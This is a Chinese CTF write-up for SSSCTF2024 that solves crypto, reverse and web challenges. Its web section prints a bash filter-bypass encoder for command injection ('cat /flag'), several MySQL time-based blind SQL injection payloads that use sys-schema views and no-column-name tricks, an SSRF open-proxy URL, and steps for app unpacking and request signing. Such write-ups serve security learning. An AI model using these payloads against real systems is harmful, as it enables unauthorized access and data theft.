SSSCTF2024 wp -Dyinglight

crypto

原神

flag{yuanshenqidong} 蒙德文字

reverse

check in

ida进去就能看到flag

web

1.ravenfield

‎下载了个编码的插件,发现utf-8编码会显示you win,但是源代码中间空了很多点点,把这些点点复制到浏览器,发现了这篇文章

‏https://blog.csdn.net/qq_38805084/article/details/102682864

0‍‍宽字节隐写,https://yuanfux.github.io/zero-width-web/这个‌网站可以解密,把you win复制进来解密即可

‎‍‍‎‏‍‌‌‎‍‏‍‎‍‎‏‌‎‍‎‏‏‌‎‍‍‎‎‍‌‌‏‎‏‏‎‎

ps:游戏真好玩)

2.weirdbash(复现)

dutctf获得一长串提示

1
2
+-!?$%&*+-!?$%&*+-!?$%&*+-!?$%&*+-!?$%&*+-!?$%&*+-!?$%&*+-!?$%&*
noob-noob?noob-noob!noob$noob%noob-noob!noob%noob*noob-noob!noob*noob-noob!noob?noob&noob*noob-noob!noob%noob*noob!noob-noob!noob%noob&noob*noob-noob!noob$noob%noob&noob*noob!noob-noob!noob?noob%noob-noob!noob$noob%noob&noob*noob!noob-noob!noob?noob%noob-noob!noob$noob-noob!noob%noob*noob!noob!noob&noob!noob$noob%noob&noob*noob-noob!noob$noob%noob&noob-noob!noob$noob%noob&noob*noob-noob!noob$noob%noob&noob*noob-noob!noob&noob!noob&noob!noob-noob!noob?noob&noob-noob!noob$noob%noob&noob*noob-noob!noob?noob%noob*noob-noob!noob?noob%noob-noob!noob%noob*noob!noob-noob!noob?noob%noob-noob!noob$noob%noob&noob*noob!noob-noob!noob&noob*noob-noob!noob*noob-noob!noob?noob-noob!noob?noob%noob-noob!noob?noob%noob*noob-noob!noob?noob&noob-noob!noob%noob*noob!noob-noob!noob?noob%noob-noob!noob$noob-noob!noob%noob*noob!noob-noob!noob%noob&noob-noob!noob$noob%noob-noob!noob*noob-noob!noob%noob&noob*noob!noob$noob%noob&
1
+-!? $%&* 是标准顺序1111 1111
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def noob_encode(input_string):
encodeed_string = ""
for char in input_string:
ascii_value = ord(char)
binary_representation = '{0:08b}'.format(ascii_value)
encodeed_char = ""
for bit, operator in zip(binary_representation, ['noob+', 'noob-', 'noob!', 'noob?', 'noob$', 'noob%', 'noob&', 'noob*']):
if bit == '1':
encodeed_char += operator
encodeed_string += encodeed_char
return encodeed_string

def noob_decode(encodeed_string):
decodeed_string = ""
i = 0
while i < len(encodeed_string):
try:
check_valid_noob_string(encodeed_string[i:])
decodeed_char = ""
for operator in ['noob+', 'noob-', 'noob!', 'noob?', 'noob$', 'noob%', 'noob&', 'noob*']:
if encodeed_string.startswith(operator, i):
decodeed_char += '1'
i += len(operator)
else:
decodeed_char += '0'
ascii_value = int(decodeed_char, 2) # 转换为2进制
decodeed_string += chr(ascii_value)
except DecodeError as e:
print(e)
raise DecodeError
return decodeed_string

根据完整的加解密代码,逻辑是先把字符串ascii转化为八位二进制(例如0000 0000),然后分别用'noob+', 'noob-', 'noob!', 'noob?', 'noob$', 'noob%', 'noob&', 'noob*'去替换这八个数字中的1,得到加密的字符串

解密的逻辑就是把noob串遍历,有对应的字符就加1,没有就加0,得到二进制串,再翻译为ascii码即可

解密后的结果为:Please go to the “/noob” route to capture the flag.

进入/noob路由,经过测试过滤了所有的字母数字,还有&,=,~,_

自己做题的时候一直在用异或绕过的方向,但是命令似乎并不会被解析

利用脚本绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def enc(cmd):
str = ''
for cmdx in cmd:
str += f'\\\\$(($((1<<1))#{bin(int((oct(ord(cmdx)))[2:]))[2:]}))'
ct = str.replace('1', '${##}').replace('0', '${#}')

ct = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + ct + '\\\''
charset = set()
for ctx in ct:
if ctx.isprintable() and ctx not in charset:
charset.add(ctx)
return ct

print(enc("cat /flag"))

${!#}<<<${!#}\<\<\<\$\'\\$(($(($<<$))#$$$$$$))\\$(($(($<<$))#$$$$$))\\$(($(($<<$))#$$$$$))\\$(($(($<<$))#$$$$<<$))#$$$$$))\\$(($(($<<$))#$$$$$$<<$))#$$$$$$<<$))#$$$$$))\\$(($(($<<$))#$$$$$$))\'

加密成noob再执行即可(多等会儿)

本质上是利用$#进行构造,参考文章

3.app(没做出来)

扫描到config:{“key”:”quOKHlGWut9iJUFvDi0CoKwqN1dw0z4zsul5IGdvvpc=”,”iv”:”nsmz/N5vMhnUaF/hSvAP8w==”}

gallery:[{“id”:1,”url”:”/img/1.jpg”},{“id”:2,”url”:”/img/2.jpg”},{“id”:3,”url”:”/img/3.png”}]

4.gpt(复现)

首先是sql时间盲注入,username=1&password=1'+||+if(ascii(substr(database(),1))=115,sleep(2),1)%23

注出数据库名为sssctf2024_db

由于or被ban了,用

1
2
3
4
5
sys.schema_table_statistics_with_buffer
sys.x$schema_flattened_keys
schema_auto_increment_columns#该视图的作用简单来说就是用来对表自增ID的监控,可以通过该视图获取数据库的表名信息。
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer//没有自增数据
mysql.innodb_table_stats、mysql.innodb_table_index

可以替换information_schema,得到表名sssctf2024_users(这些表没有列名)

1
username=1&password=1'+||+if(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema='sssctf2024_db' limit 0,1),1))=115,sleep(5),0)%23

查列名,可以使用无列名注入

select 1,2,3 union select * from sssctf2024_users会产生一个虚拟表(必须保证列数正确)

只要给虚拟表取一个别名n,即可查询其中的数据,下面查询了第二列的数据

1
select 反引号2反引号 from (select 1,2,3 union select * from users)n;

在反引号被过滤时还可以使用给列起别名的方式查询

1
select b from (select 1,2 as b,3 union select * from users)n;

还可以使用表名.列名这种形式,n是我们给虚拟表起的别名

1
select n.2 from (select 1,2,3 union select * from users)n;

故可以用

1
username=1&password=1'+||+if(ascii(substr((select n.2 from (select 1,2,3 union select * from sssctf2024_users)n limit 0,1),1))=115,sleep(5),0)%23

查到列名为username,password,注出数据

1
username=1&password=1'+||+if(ascii(substr((select username from sssctf2024_db.sssctf2024_users limit 0,1),1))=115,sleep(5),0)%23
1
Scr1w_admin,sssctf2024_P@ssvv0rd

登陆进去发现

flag生成的是假的,next-gpt能搜索到一个ssrf漏洞

但是,有一些暴露的服务器端点。其中一个端点位于/API/cors,它的功能设计为开放代理,允许未经身份验证的用户通过它发送任意HTTP请求。添加此端点似乎是为了支持将客户端聊天数据保存到WebDAV服务器。此端点的存在是一种反模式:它允许客户端绕过内置的浏览器保护,通过服务器端端点访问跨域资源。

于是访问http://210.30.97.133:10181/api/cors/http/scr1wgpt-web/generator即可拿到真正的flag

5.app

360加固,用frida-dexdump脱壳

前台模拟器挂着app,开启adb中的frida

!(../images/sssctf/6.png)

生成了一个文件夹,把里面的dex文件拖入jadx

再用fiddler抓包,抓到config的包

{“key”:”khcYuxRprjYyRVY71OK6RLSi2jn2ljd7vkm+VqDAgRk=”,”iv”:”bhT3FXFaimOl80uvAk92+A==”}

点击个人信息抓到这个包,直接访问http://210.30.97.133:10055/service/m/app/info?uid=-1

得知访问数据是要签名的,签名需要config里的key和iv,用java签名的AES加密,发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.IvParameterSpec;
import java.security.MessageDigest;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws Exception {
String key = "khcYuxRprjYyRVY71OK6RLSi2jn2ljd7vkm+VqDAgRk="; // 替换为你的key
String iv = "bhT3FXFaimOl80uvAk92+A=="; // 替换为你的iv
String data = "uid=20&timestamp=1&a=2&nonce=3"; // 替换为你的数据

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(Base64.getDecoder().decode(key), "AES"), new IvParameterSpec(Base64.getDecoder().decode(iv)));
byte[] encrypted = cipher.doFinal(data.getBytes());

MessageDigest md = MessageDigest.getInstance("MD5");
byte[] digest = md.digest(encrypted);

StringBuilder sb = new StringBuilder();
for (byte b : digest) {
sb.append(String.format("%02x", b));
}

String sign = sb.toString();
System.out.println("Generated sign: " + sign);
}
}

做到这里发现uid是无法直接访问其他数据的,看了wp上通过逆向分析可以发现rank路由

拿到数据,发现最后一条数据{"id":6660,"institute":"DUTCTF","name":"福来阁","points":40}

这里可以猜测是visitor的问题,根据逆向的代码(这里直接贴wp的图片了,自己太菜审计不出来),得知有个isVisitor参数

构造url访问,记得这里的签名也要加上isVisitor

千辛万苦终于拿到flag了